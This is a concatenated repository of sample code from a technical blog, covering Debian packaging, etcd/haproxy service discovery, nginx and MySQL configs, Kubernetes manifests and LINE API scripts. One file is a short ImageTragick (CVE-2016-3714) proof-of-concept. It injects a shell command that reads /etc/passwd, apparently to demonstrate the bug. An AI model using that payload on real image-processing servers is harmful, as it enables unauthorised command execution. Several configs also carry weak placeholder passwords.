├── deb-example ├── package-name │ ├── usr │ │ └── bin │ │ │ └── helloworld │ └── DEBIAN │ │ ├── postinst │ │ ├── postrm │ │ ├── preinst │ │ └── control.sample └── Makefile ├── README.md ├── etcd-conf-haproxy ├── confd-start.sh ├── haproxy.toml ├── etcd-register.sh ├── etcd-start.sh ├── haproxy.cfg.tmpl └── service-start.sh ├── CVE-2016-3714 ├── exploit-CVE-2016-3714.png └── policy.xml ├── IoC-DI ├── Cat.php ├── Horse.php ├── Interface │ └── Interface_Animal.php ├── Container.php └── Zoo.php ├── nginx-auto-switch ├── www │ ├── desktop │ │ └── index.html │ └── mobile │ │ └── index.html └── sites-enabled │ └── site.conf ├── nginx-logrotate └── logrotate-nginx.conf ├── PhantomJS └── capture.js ├── gitlab └── docker-compose.yml ├── sj-nn ├── package.json ├── npm-debug.log ├── iris.csv ├── network.json └── index.js ├── VSCode └── sftp.json ├── k8s-micro-service ├── pvc.yml ├── pv.yml └── lamp.yml ├── redmine-pre-receive ├── selenium ├── TestSuite.html └── TestCase.html ├── lets-encrypt-acme └── willcard-ssl-renew.sh ├── ElasticSearch └── logrotate.sh ├── Universal.js ├── docker-swarm └── docker-compose.yml ├── ddns └── cf-ip-renew.sh ├── mysql-replication ├── haproxy.cfg ├── my.cnf.slave └── my.cnf.master ├── Universal-plus.js ├── tmux └── .tmux.conf ├── web-language-detect ├── nginx.conf └── lang-detect.js ├── line-api ├── push.php └── reply.php ├── my-service ├── ImageMagick └── convert-example.php ├── keras-ml ├── colab-kaggle-api-dataset-download.ipynb ├── mnist-neural-network.ipynb └── keras-cat-vs-dog-cnn-feature-extraction.ipynb ├── spark-ml-iris ├── iris.py └── iris.csv ├── seo-meta-tag └── template.html ├── google-colab └── vgg16_mnist.py ├── redmine-reply.php ├── erc-20 └── ERC-20.sol └── LICENSE.txt /deb-example/package-name/usr/bin/helloworld: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | echo 'Hello World!' 3 | -------------------------------------------------------------------------------- /deb-example/package-name/DEBIAN/postinst: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo 'do something after file install' -------------------------------------------------------------------------------- /deb-example/package-name/DEBIAN/postrm: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo 'do something after file remove' 3 | -------------------------------------------------------------------------------- /deb-example/package-name/DEBIAN/preinst: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo 'do something before file install' 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Soul & Shell Blog Sample Code 2 | 3 | Sample Code and Demo Code of Soul & Shell Blog (https://blog.toright.com) 4 | -------------------------------------------------------------------------------- /etcd-conf-haproxy/confd-start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /usr/sbin/confd -interval 10 -node '${ETCD_HOST}:2379' -confdir /etc/confd 4 | -------------------------------------------------------------------------------- /CVE-2016-3714/exploit-CVE-2016-3714.png: -------------------------------------------------------------------------------- 1 | push graphic-context 2 | viewbox 0 0 640 480 3 | fill 'url(https://example.com/image.jpg"|cat /etc/passwd > /tmp/hack.txt")' 4 | pop graphic-context 5 | -------------------------------------------------------------------------------- /IoC-DI/Cat.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Desktop 6 | 7 | 8 |

Desktop

9 | 10 | -------------------------------------------------------------------------------- /nginx-auto-switch/www/mobile/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Mobile 6 | 7 | 8 |

Mobile

9 | 10 | -------------------------------------------------------------------------------- /IoC-DI/Container.php: -------------------------------------------------------------------------------- 1 | setSmallAnimal(new Cat()); 12 | $zoo->setLargeAnimal(new Horse()); 13 | } 14 | 15 | } -------------------------------------------------------------------------------- /etcd-conf-haproxy/etcd-register.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # wait for etcd start 4 | while ! nc -z ${ETCD_HOST} 2379; do 5 | echo "Waiting for etcd start..." 6 | sleep 1 7 | done 8 | 9 | # registe srvice hostname into etcd 10 | curl -L http://${ETCD_HOST}:2379/v2/keys/app/servers/server-${HOSTNAME} -XPUT -d value="${HOSTNAME}" 11 | -------------------------------------------------------------------------------- /etcd-conf-haproxy/etcd-start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | THIS_IP=`ifconfig eth0 | grep "inet addr" | cut -d ':' -f 2 | cut -d ' ' -f 1` 3 | /usr/sbin/etcd --data-dir=data.etcd \ 4 | --name ${HOSTNAME} \ 5 | --advertise-client-urls "http://${THIS_IP}:2379" \ 6 | --listen-client-urls 'http://0.0.0.0:2379' 7 | -------------------------------------------------------------------------------- /CVE-2016-3714/policy.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /etcd-conf-haproxy/haproxy.cfg.tmpl: -------------------------------------------------------------------------------- 1 | defaults 2 | log global 3 | mode http 4 | 5 | listen frontend 0.0.0.0:8080 6 | mode http 7 | stats enable 8 | stats uri /haproxy?stats 9 | balance roundrobin 10 | option httpclose 11 | option forwardfor 12 | {{range gets "/app/servers/*"}} 13 | server {{base .Key}} {{.Value}}:80 check{{end}} 14 | -------------------------------------------------------------------------------- /etcd-conf-haproxy/service-start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | _term() { 4 | echo "Caught SIGTERM signal and remove etcd key..." 5 | curl -L http://${ETCD_HOST}:2379/v2/keys/push/servers/server-${HOSTNAME} -XDELETE 6 | kill -TERM "$child" 2>/dev/null 7 | } 8 | 9 | trap _term SIGTERM 10 | 11 | # Start your service at here... 12 | 13 | child=$! 14 | wait "$child" 15 | -------------------------------------------------------------------------------- /nginx-logrotate/logrotate-nginx.conf: -------------------------------------------------------------------------------- 1 | /var/log/your-log-path/*.log { 2 | daily 3 | dateext 4 | dateformat -%Y-%m-%d 5 | missingok 6 | rotate 90 7 | copytruncate 8 | compress 9 | delaycompress 10 | notifempty 11 | create 0640 www-data adm 12 | sharedscripts 13 | postrotate 14 | [ -s /run/nginx.pid ] && kill -USR1 `cat /run/nginx.pid` 15 | endscript 16 | } 17 | -------------------------------------------------------------------------------- /deb-example/package-name/DEBIAN/control.sample: -------------------------------------------------------------------------------- 1 | Package: package-name 2 | Version: 0.0.0-0 3 | Architecture: all 4 | Maintainer: SJ Chou 5 | Installed-Size: 0 6 | Depends: php5 (>=5.5.9), php5-curl (>=5.5.9), php5-mongo (>=1.4.5) 7 | Section: web 8 | Priority: optional 9 | Homepage: http://blog.toright.com 10 | Description: This is debian package build example 11 | -------------------------------------------------------------------------------- /PhantomJS/capture.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | var page = require('webpage').create(); 4 | 5 | page.open('https://blog.toright.com', function() { 6 | // show title 7 | var title = page.evaluate(function() { 8 | return document.title; 9 | }); 10 | console.log(title); 11 | 12 | // screen capture 13 | page.render('screenshot.png'); 14 | phantom.exit(); 15 | }); 16 | -------------------------------------------------------------------------------- /gitlab/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.2' 2 | services: 3 | 4 | gitlab: 5 | image: gitlab/gitlab-ce:latest 6 | hostname: gitlab.example.com 7 | container_name: gitlab 8 | restart: always 9 | volumes: 10 | - /gitlab/config:/etc/gitlab 11 | - /gitlab/logs:/var/log/gitlab 12 | - /gitlab/data:/var/opt/gitlab 13 | ports: 14 | - 443:443 15 | - 80:80 16 | networks: 17 | - devel-net 18 | 19 | networks: 20 | devel-net: 21 | -------------------------------------------------------------------------------- /sj-nn/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "sj-nn", 3 | "version": "1.0.0", 4 | "description": "neural network example", 5 | "main": "index.js", 6 | "dependencies": { 7 | "csvtojson": "^1.1.4", 8 | "node-neural-network": "^1.0.3", 9 | "step": "^1.0.0" 10 | }, 11 | "devDependencies": {}, 12 | "scripts": { 13 | "example": "node index.js" 14 | }, 15 | "keywords": [ 16 | "neural", 17 | "network", 18 | "nodejs" 19 | ], 20 | "author": "sj", 21 | "license": "ISC" 22 | } 23 | -------------------------------------------------------------------------------- /VSCode/sftp.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Server", 3 | "host": "192.168.0.200", 4 | "protocol": "sftp", 5 | "port": 22, 6 | "username": "username", 7 | "password": "password", 8 | "remotePath": "/remote", 9 | "uploadOnSave": true, 10 | "syncMode": "update", 11 | "watcher": { 12 | "files": false, 13 | "autoUpload": true, 14 | "autoDelete": true 15 | }, 16 | "ignore": [ 17 | "**/.vscode/**", 18 | "**/.git/**", 19 | "**/.DS_Store" 20 | ] 21 | } 22 | -------------------------------------------------------------------------------- /k8s-micro-service/pvc.yml: -------------------------------------------------------------------------------- 1 | kind: PersistentVolumeClaim 2 | apiVersion: v1 3 | metadata: 4 | name: pvc-apache-www 5 | spec: 6 | storageClassName: local-storage-www 7 | accessModes: 8 | - ReadWriteMany 9 | resources: 10 | requests: 11 | storage: 1Gi 12 | 13 | --- 14 | 15 | kind: PersistentVolumeClaim 16 | apiVersion: v1 17 | metadata: 18 | name: pvc-mysql-data 19 | spec: 20 | storageClassName: local-storage-mysql 21 | accessModes: 22 | - ReadWriteOnce 23 | resources: 24 | requests: 25 | storage: 2Gi 26 | -------------------------------------------------------------------------------- /redmine-pre-receive: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # ignore tag push 4 | if [[ "$3" == "refs/tags/"* ]]; then 5 | exit 0 6 | fi 7 | 8 | while read oldrev newrev refname 9 | do 10 | for rev in $(git rev-list ${oldrev}..${newrev}) 11 | do 12 | log=`git show -s --format="%s" $rev` 13 | author=`git show -s --format="%an" $rev` 14 | ./hooks/redmine-add-change-log.php "${log}" "${author}" "${rev}" 15 | if [ $? != 0 ] 16 | then 17 | exit $? 18 | fi 19 | done 20 | done 21 | 22 | exit 0 23 | -------------------------------------------------------------------------------- /selenium/TestSuite.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Test Suite 7 | 8 | 9 | 10 | 11 | 12 |
Test Suite
TestCase
13 | 14 | 15 | -------------------------------------------------------------------------------- /lets-encrypt-acme/willcard-ssl-renew.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export CF_Key="YOUR_CLOUD_FLARE_API_KEY" 4 | export CF_Email="YOUR_CLOUD_FLARE_LOGIN_EMAIL" 5 | 6 | DOMAIN=your-domain.com 7 | 8 | mkdir -p /etc/letsencrypt/keys 9 | mkdir -p /etc/letsencrypt/live/${DOMAIN} 10 | 11 | /root/.acme.sh/acme.sh --issue -d "${DOMAIN}" -d "*.${DOMAIN}" --dns dns_cf \ 12 | --key-file /etc/letsencrypt/keys/${DOMAIN}.key \ 13 | --cert-file /etc/letsencrypt/live/${DOMAIN}/cert.pem \ 14 | --fullchain-file /etc/letsencrypt/live/${DOMAIN}/fullchain.pem \ 15 | --ca-file /etc/letsencrypt/live/${DOMAIN}/chain.pem \ 16 | --reloadcmd "service haproxy restart" 17 | -------------------------------------------------------------------------------- /IoC-DI/Zoo.php: -------------------------------------------------------------------------------- 1 | _smallAnimal = $animal; 26 | } 27 | 28 | public function setLargeAnimal(Interface_Animal &$animal) 29 | { 30 | $this->_largeAnimal = $animal; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /ElasticSearch/logrotate.sh: -------------------------------------------------------------------------------- 1 | #/bin/bash 2 | 3 | KEEP_DAYS=30 4 | ELASTICSEARCH_HOST='http://elasticsearch:9200' 5 | DATE_THRESHOLD=`date -d "${KEEP_DAYS} days ago" +%Y/%m/%d` 6 | TIME_THRESHOLD=`date -d "${DATE_THRESHOLD}" +%s` 7 | 8 | INDEX_LIST=`curl -s -k ${ELASTICSEARCH_HOST}/_cat/indices?s=index | grep 'logstash' | awk '{print$3}'` 9 | 10 | echo "DATE_THRESHOLD=${DATE_THRESHOLD}" 11 | 12 | for INDEX_NAME in ${INDEX_LIST} 13 | do 14 | INDEX_DATE=`echo "${INDEX_NAME}" | sed -e 's/\./\//g' | sed -e 's/logstash-//g'` 15 | INDEX_TIME=`date -d "${INDEX_DATE}" +%s` 16 | if [ ${TIME_THRESHOLD} -gt ${INDEX_TIME} ]; then 17 | echo "Remove Index: ${INDEX_NAME}" 18 | curl -XDELETE -k ${ELASTICSEARCH_HOST}/${INDEX_NAME} 19 | fi 20 | done 21 | -------------------------------------------------------------------------------- /k8s-micro-service/pv.yml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: PersistentVolume 3 | metadata: 4 | name: local-storage-www 5 | labels: 6 | type: local 7 | spec: 8 | storageClassName: local-storage-www 9 | persistentVolumeReclaimPolicy: Retain 10 | capacity: 11 | storage: 20Gi 12 | accessModes: 13 | - ReadWriteMany 14 | hostPath: 15 | path: "/mnt/local-storage-www" 16 | 17 | --- 18 | 19 | apiVersion: v1 20 | kind: PersistentVolume 21 | metadata: 22 | name: local-storage-mysql 23 | labels: 24 | type: local 25 | spec: 26 | storageClassName: local-storage-mysql 27 | persistentVolumeReclaimPolicy: Retain 28 | capacity: 29 | storage: 20Gi 30 | accessModes: 31 | - ReadWriteOnce 32 | hostPath: 33 | path: "/mnt/local-storage-mysql" 34 | -------------------------------------------------------------------------------- /Universal.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | /** 4 | * Universal JavaScript package 5 | * JavaScript, NodeJS Module and RequireJS Module Supported 6 | */ 7 | var Universal = function () { 8 | 9 | var privateVar = 'I_AM_PRIVATE_VAR'; 10 | 11 | var privateFn = function () { 12 | console.log('I am private function.'); 13 | }; 14 | 15 | // constructor 16 | var constructor = function () { 17 | console.log(privateVar); 18 | privateFn(); 19 | }; 20 | 21 | var publicFn = function () { 22 | console.log('I am public function.'); 23 | }; 24 | 25 | constructor(); 26 | 27 | return { 28 | /** 29 | * Public defined 30 | */ 31 | publicVar: 'I_AM_PUBLIC_VAR', 32 | 33 | /** 34 | * Public function 35 | */ 36 | publicFn: publicFn 37 | }; 38 | }; -------------------------------------------------------------------------------- /docker-swarm/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.2' 2 | services: 3 | server: 4 | image: samejack/php5-fpm-nginx:latest 5 | hostname: server 6 | restart: always 7 | depends_on: 8 | - mysql 9 | ports: 10 | - "80:80" 11 | volumes: 12 | - /root/wordpress:/usr/share/nginx/html 13 | deploy: 14 | replicas: 2 15 | placement: 16 | constraints: [node.labels.server == true] 17 | mysql: 18 | image: samejack/mysql:latest 19 | hostname: mysql 20 | restart: always 21 | environment: 22 | - MYSQL_ROOT_PASSWORD=1234 23 | - MYSQL_USER_NAME=wordpress 24 | - MYSQL_USER_PASSWORD=5678 25 | volumes: 26 | - /root/mysql-data:/var/lib/mysql 27 | deploy: 28 | placement: 29 | constraints: [node.labels.mysql == true] 30 | -------------------------------------------------------------------------------- /ddns/cf-ip-renew.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | CF_TOKEN={YOUR_API_TOKEN} 3 | CF_ZONE_ID={YOUR_ZONE_ID} 4 | CF_RECORD_ID={YOUR_RECORD_ID} 5 | DNS={YOUR_DOMAIN} 6 | 7 | INTERNET_IP=`curl -s http://ipv4.icanhazip.com` 8 | INTERFACE_IP=`ip address show ppp0 | grep ppp0 | grep global | awk '{print$2}'` 9 | DNS_RECORD_IP=`dig ${DNS} | grep "${DNS}" | grep -v ';' | awk '{print$5}'` 10 | 11 | if [ "$INTERNET_IP" != "$DNS_RECORD_IP" ] 12 | then 13 | echo "Renew IP: ${DNS_RECORD_IP} to ${INTERNET_IP}" 14 | curl -X PUT "https://api.cloudflare.com/client/v4/zones/${CF_ZONE_ID}/dns_records/${CF_RECORD_ID}" \ 15 | -H "Authorization: Bearer ${CF_TOKEN}" \ 16 | -H "Content-Type: application/json" \ 17 | --data '{"type":"A","name":"'${DNS}'","content":"'${INTERNET_IP}'","ttl":120,"proxied":false}' 18 | else 19 | echo "No change: ${INTERNET_IP}" 20 | fi 21 | -------------------------------------------------------------------------------- /deb-example/Makefile: -------------------------------------------------------------------------------- 1 | PACKAGE_NAME="package-name" 2 | VERSION=1.0.0.0 3 | 4 | all :: 5 | @echo "[INFO] Create debian package file (control)." 6 | rm -rf ./${PACKAGE_NAME}/DEBIAN/control ;\ 7 | cp ./${PACKAGE_NAME}/DEBIAN/control.sample ./${PACKAGE_NAME}/DEBIAN/control ;\ 8 | SIZE=`du -sx --exclude DEBIAN "${PACKAGE_NAME}/DEBIAN/" | awk '{print $$1}'` ;\ 9 | sed -i "s/Installed-Size: 0/Installed-Size: $${SIZE}/g" "./${PACKAGE_NAME}/DEBIAN/control" ;\ 10 | sed -i 's/Version: 0.0.0-0/Version: ${VERSION}/g' "./${PACKAGE_NAME}/DEBIAN/control" ;\ 11 | cat ./${PACKAGE_NAME}/DEBIAN/control 12 | @echo "[INFO] Build Deb Package." 13 | mkdir -p ./dest 14 | rm -rf "./dest/${PACKAGE_NAME}_${VERSION}.deb" 15 | dpkg -b "./${PACKAGE_NAME}" "./dest/${PACKAGE_NAME}_${VERSION}.deb" 16 | 17 | install :: 18 | dpkg -i "./dest/${PACKAGE_NAME}_${VERSION}.deb" 19 | -------------------------------------------------------------------------------- /mysql-replication/haproxy.cfg: -------------------------------------------------------------------------------- 1 | global 2 | log /dev/log local0 3 | log /dev/log local1 notice 4 | maxconn 102400 5 | user haproxy 6 | group haproxy 7 | daemon 8 | nbproc 1 9 | pidfile /var/run/haproxy.pid 10 | tune.ssl.default-dh-param 1024 11 | 12 | defaults 13 | log global 14 | mode http 15 | option httplog 16 | option dontlognull 17 | timeout server 1200s 18 | timeout connect 1200s 19 | timeout client 1200s 20 | retries 3 21 | 22 | listen statistics 23 | bind *:8080 24 | mode http 25 | stats enable 26 | stats hide-version 27 | stats realm Haproxy\ Statistics 28 | stats uri /stats 29 | stats auth admin:admin1234 30 | stats refresh 10s 31 | 32 | listen haproxy_mysql 33 | bind *:3306 34 | mode tcp 35 | timeout client 10800s 36 | timeout server 10800s 37 | option tcplog 38 | balance roundrobin 39 | server db1 mysql-master-1:3306 check 40 | server db2 mysql-master-2:3306 check backup 41 | 42 | -------------------------------------------------------------------------------- /Universal-plus.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | /** 4 | * Universal JavaScript package PLUS! 5 | * JavaScript, NodeJS Module and RequireJS Module Supported 6 | */ 7 | (function (name, definition) { 8 | if (typeof(module) !== 'undefined' && module.exports) { 9 | module.exports = definition; 10 | } else if (typeof(define) === 'function') { 11 | define(definition); 12 | } else { 13 | this[name] = definition(); 14 | } 15 | }('UniversalPlus', function () { 16 | var privateVar = 'I_AM_PRIVATE_VAR'; 17 | 18 | var privateFn = function () { 19 | console.log('I am private function.'); 20 | }; 21 | 22 | // constructor 23 | var constructor = function () { 24 | console.log(privateVar); 25 | privateFn(); 26 | }(); 27 | 28 | var publicFn = function () { 29 | console.log('I am public function.'); 30 | }; 31 | 32 | return { 33 | /** 34 | * Public defined 35 | */ 36 | publicVar: 'I_AM_PUBLIC_VAR', 37 | 38 | /** 39 | * Public function 40 | */ 41 | publicFn: publicFn 42 | }; 43 | })); 44 | -------------------------------------------------------------------------------- /sj-nn/npm-debug.log: -------------------------------------------------------------------------------- 1 | 0 info it worked if it ends with ok 2 | 1 verbose cli [ 'node', '/usr/local/bin/npm', 'run', 'example' ] 3 | 2 info using npm@1.4.28 4 | 3 info using node@v0.10.34 5 | 4 verbose run-script [ 'preexample', 'example', 'postexample' ] 6 | 5 info preexample sj-nn@1.0.0 7 | 6 info example sj-nn@1.0.0 8 | 7 verbose unsafe-perm in lifecycle true 9 | 8 info sj-nn@1.0.0 Failed to exec example script 10 | 9 error sj-nn@1.0.0 example: `nodejs index.js` 11 | 9 error Exit status 127 12 | 10 error Failed at the sj-nn@1.0.0 example script. 13 | 10 error This is most likely a problem with the sj-nn package, 14 | 10 error not with npm itself. 15 | 10 error Tell the author that this fails on your system: 16 | 10 error nodejs index.js 17 | 10 error You can get their info via: 18 | 10 error npm owner ls sj-nn 19 | 10 error There is likely additional logging output above. 20 | 11 error System Darwin 16.5.0 21 | 12 error command "node" "/usr/local/bin/npm" "run" "example" 22 | 13 error cwd /Users/sj/Desktop/GitHub/sj-nn 23 | 14 error node -v v0.10.34 24 | 15 error npm -v 1.4.28 25 | 16 error code ELIFECYCLE 26 | 17 verbose exit [ 1, true ] 27 | -------------------------------------------------------------------------------- /tmux/.tmux.conf: -------------------------------------------------------------------------------- 1 | # Toggle synpanes on 2 | bind k \ 3 | set synchronize-panes on \;\ 4 | display 'SynPanes: ON' 5 | 6 | # Toggle synpanes off 7 | bind K \ 8 | set synchronize-panes off \;\ 9 | display 'SynPanes: OFF' 10 | 11 | # Toggle mouse on 12 | bind m \ 13 | set -g mode-mouse on \;\ 14 | set -g mouse-resize-pane on \;\ 15 | set -g mouse-select-pane on \;\ 16 | set -g mouse-select-window on \;\ 17 | display 'Mouse: ON' 18 | 19 | # Toggle mouse off 20 | bind M \ 21 | set -g mode-mouse off \;\ 22 | set -g mouse-resize-pane off \;\ 23 | set -g mouse-select-pane off \;\ 24 | set -g mouse-select-window off \;\ 25 | display 'Mouse: OFF' 26 | 27 | # History-limit 28 | set -g history-limit 30000 29 | 30 | # Use 256 colors 31 | set -g default-terminal "screen-256color" 32 | 33 | bind -n C-v run-shell "tmux set-buffer \"$(xclip -o)\"; tmux paste-buffer" \; display-message "Pasted" 34 | bind -n C-s run "tmux save-buffer - | xclip -selection clipboard > /dev/null" \; display-message "Copied" 35 | 36 | # default mouse on 37 | set -g mode-mouse on 38 | set -g mouse-resize-pane on 39 | set -g mouse-select-pane on 40 | set -g mouse-select-window on 41 | -------------------------------------------------------------------------------- /web-language-detect/nginx.conf: -------------------------------------------------------------------------------- 1 | server { 2 | 3 | ... 4 | 5 | # detect Accept-Language auto redirect to langauge path 6 | location = / { 7 | # Setup language prefix 8 | set $prefix_language $http_accept_language; 9 | if ($http_accept_language ~* '^(.+?),') { 10 | set $prefix_language $1; 11 | } 12 | 13 | # Setup redirect Schema 14 | set $redirect_schema $scheme; 15 | if ($http_X_Forwarded_Proto = 'https') { 16 | set $redirect_schema $http_X_Forwarded_Proto; 17 | } 18 | 19 | # Setup redirect Host 20 | set $redirect_host $host; 21 | if ($http_X_Forwarded_Host != '') { 22 | set $redirect_host $http_X_Forwarded_Host; 23 | } 24 | 25 | # Setup URL 26 | set $lang_url $redirect_schema://$redirect_host; 27 | 28 | if ($prefix_language ~* 'zh-TW') { 29 | return 302 $lang_url/zh-TW/; 30 | } 31 | 32 | if ($prefix_language ~* 'zh-CN') { 33 | return 302 $lang_url/zh-CN/; 34 | } 35 | 36 | # Default en-US 37 | return 302 $lang_url/en-US/; 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /selenium/TestCase.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | TestCase 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 |
TestCase
open/?gfe_rd=cr&ei=rP49VZzxDoLA4AKHloHABQ&gws_rd=ssl
typeid=lst-ibsoul & shell blog
clickname=btnK
waitForElementPresentlink=Soul & Shell Blog - 假文青的幽默不好笑
clickAndWaitlink=Soul & Shell Blog - 假文青的幽默不好笑
40 | 41 | 42 | -------------------------------------------------------------------------------- /line-api/push.php: -------------------------------------------------------------------------------- 1 | []])); 11 | } 12 | $db = json_decode(file_get_contents($dbFilePath), true); 13 | 14 | if (count($db['user']) === 0) { 15 | echo 'No user login.'; 16 | exit(1); 17 | } else { 18 | foreach ($db['user'] as &$userInfo) { 19 | $userIds[] = $userInfo['userId']; 20 | } 21 | } 22 | 23 | // make payload 24 | $payload = [ 25 | 'to' => $userIds, 26 | 'messages' => [ 27 | [ 28 | 'type' => 'text', 29 | 'text' => $message 30 | ] 31 | ] 32 | ]; 33 | 34 | // Send Request by CURL 35 | $ch = curl_init(); 36 | curl_setopt($ch, CURLOPT_URL, 'https://api.line.me/v2/bot/message/multicast'); 37 | curl_setopt($ch, CURLOPT_POST, true); 38 | curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); 39 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 40 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 41 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 42 | curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload)); 43 | curl_setopt($ch, CURLOPT_HTTPHEADER, [ 44 | 'Content-Type: application/json', 45 | 'Authorization: Bearer ' . $channelAccessToken 46 | ]); 47 | $result = curl_exec($ch); 48 | curl_close($ch); 49 | -------------------------------------------------------------------------------- /mysql-replication/my.cnf.slave: -------------------------------------------------------------------------------- 1 | [client] 2 | port = 3306 3 | socket = /var/run/mysqld/mysqld.sock 4 | 5 | [mysqld_safe] 6 | socket = /var/run/mysqld/mysqld.sock 7 | nice = 0 8 | 9 | [mysqld] 10 | user = mysql 11 | pid-file = /var/run/mysqld/mysqld.pid 12 | socket = /var/run/mysqld/mysqld.sock 13 | port = 3306 14 | bind-address = 0.0.0.0 15 | basedir = /usr 16 | datadir = /var/lib/mysql 17 | tmpdir = /tmp 18 | lc-messages-dir = /usr/share/mysql 19 | skip-external-locking 20 | 21 | key_buffer = 16M 22 | max_allowed_packet = 16M 23 | thread_stack = 192K 24 | max_connections = 5000 25 | table_cache = 64 26 | thread_concurrency = 8 27 | query_cache_limit = 1M 28 | query_cache_size = 16M 29 | query_cache_type = 1 30 | 31 | # slow log (optional) 32 | log_error = /var/log/mysql/error.log 33 | log_slow_queries = /var/log/mysql/mysql-slow.log 34 | long_query_time = 2 35 | log-queries-not-using-indexes 36 | 37 | server-id = 2 38 | log_bin = /var/lib/mysql/mysql-bin.log 39 | log-slave-updates = 0 40 | expire_logs_days = 10 41 | max_binlog_size = 100M 42 | innodb_flush_log_at_trx_commit = 1 43 | sync_binlog = 0 44 | read_only = 1 45 | 46 | # innodb tune (optional) 47 | innodb_change_buffering = all 48 | innodb_adaptive_hash_index = ON 49 | innodb_max_dirty_pages_pct = 80 50 | innodb_buffer_pool_size = 256M 51 | innodb_buffer_pool_instances = 2 52 | 53 | [mysqldump] 54 | quick 55 | quote-names 56 | max_allowed_packet = 16M 57 | 58 | !includedir /etc/mysql/conf.d/ 59 | -------------------------------------------------------------------------------- /mysql-replication/my.cnf.master: -------------------------------------------------------------------------------- 1 | [client] 2 | port = 3306 3 | socket = /var/run/mysqld/mysqld.sock 4 | 5 | [mysqld_safe] 6 | socket = /var/run/mysqld/mysqld.sock 7 | nice = 0 8 | 9 | [mysqld] 10 | user = mysql 11 | pid-file = /var/run/mysqld/mysqld.pid 12 | socket = /var/run/mysqld/mysqld.sock 13 | port = 3306 14 | bind-address = 0.0.0.0 15 | basedir = /usr 16 | datadir = /var/lib/mysql 17 | tmpdir = /tmp 18 | lc-messages-dir = /usr/share/mysql 19 | skip-external-locking 20 | 21 | key_buffer = 16M 22 | max_allowed_packet = 16M 23 | thread_stack = 192K 24 | max_connections = 5000 25 | table_cache = 64 26 | thread_concurrency = 8 27 | query_cache_limit = 1M 28 | query_cache_size = 16M 29 | query_cache_type = 1 30 | 31 | log_error = /var/log/mysql/error.log 32 | log_slow_queries = /var/log/mysql/mysql-slow.log 33 | long_query_time = 2 34 | log-queries-not-using-indexes 35 | 36 | # slow log (optional) 37 | server-id = 1 38 | log_bin = /var/lib/mysql/mysql-bin.log 39 | log-slave-updates = 0 40 | expire_logs_days = 10 41 | max_binlog_size = 100M 42 | innodb_flush_log_at_trx_commit = 1 43 | sync_binlog = 1 44 | read_only = 0 45 | 46 | # innodb tune (optional) 47 | innodb_change_buffering = all 48 | innodb_adaptive_hash_index = ON 49 | innodb_max_dirty_pages_pct = 80 50 | innodb_buffer_pool_size = 256M 51 | innodb_buffer_pool_instances = 2 52 | 53 | [mysqldump] 54 | quick 55 | quote-names 56 | max_allowed_packet = 16M 57 | 58 | !includedir /etc/mysql/conf.d/ 59 | -------------------------------------------------------------------------------- /web-language-detect/lang-detect.js: -------------------------------------------------------------------------------- 1 | try { 2 | var switchPage = function (language) { 3 | switch (language) { 4 | case 'zh-cn': 5 | console.log('/zh-CN' + window.location.pathname); 6 | window.location.href = '/zh-CN' + window.location.pathname; 7 | return true; 8 | break; 9 | 10 | case 'zh': 11 | case 'zh-tw': 12 | console.log('/zh-TW' + window.location.pathname); 13 | window.location.href = '/zh-TW' + window.location.pathname; 14 | return true; 15 | break; 16 | 17 | case 'en': 18 | case 'en-us': 19 | console.log('/en-US' + window.location.pathname); 20 | window.location.href = '/en-US' + window.location.pathname; 21 | return true; 22 | break; 23 | 24 | default: 25 | } 26 | return false; 27 | }; 28 | 29 | // detect window.navigator.languages 30 | var found = false; 31 | if (typeof(window.navigator.languages) === 'object') { 32 | for (var index in window.navigator.languages) { 33 | console.log(window.navigator.languages[index].toLowerCase()); 34 | found = switchPage(window.navigator.languages[index].toLowerCase()); 35 | if (found) break; 36 | } 37 | } 38 | 39 | if (!found) { 40 | var lang = window.navigator.userLanguage || window.navigator.language; 41 | var relang = lang.toLowerCase(); 42 | found = switchPage(relang); 43 | } 44 | 45 | if (!found) { 46 | window.location.href = '/en-US' + window.location.pathname; 47 | } 48 | } catch (e) { 49 | window.location.href = '/en-US' + window.location.pathname; 50 | } -------------------------------------------------------------------------------- /my-service: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ### BEGIN INIT INFO 4 | # Provides: 5 | # 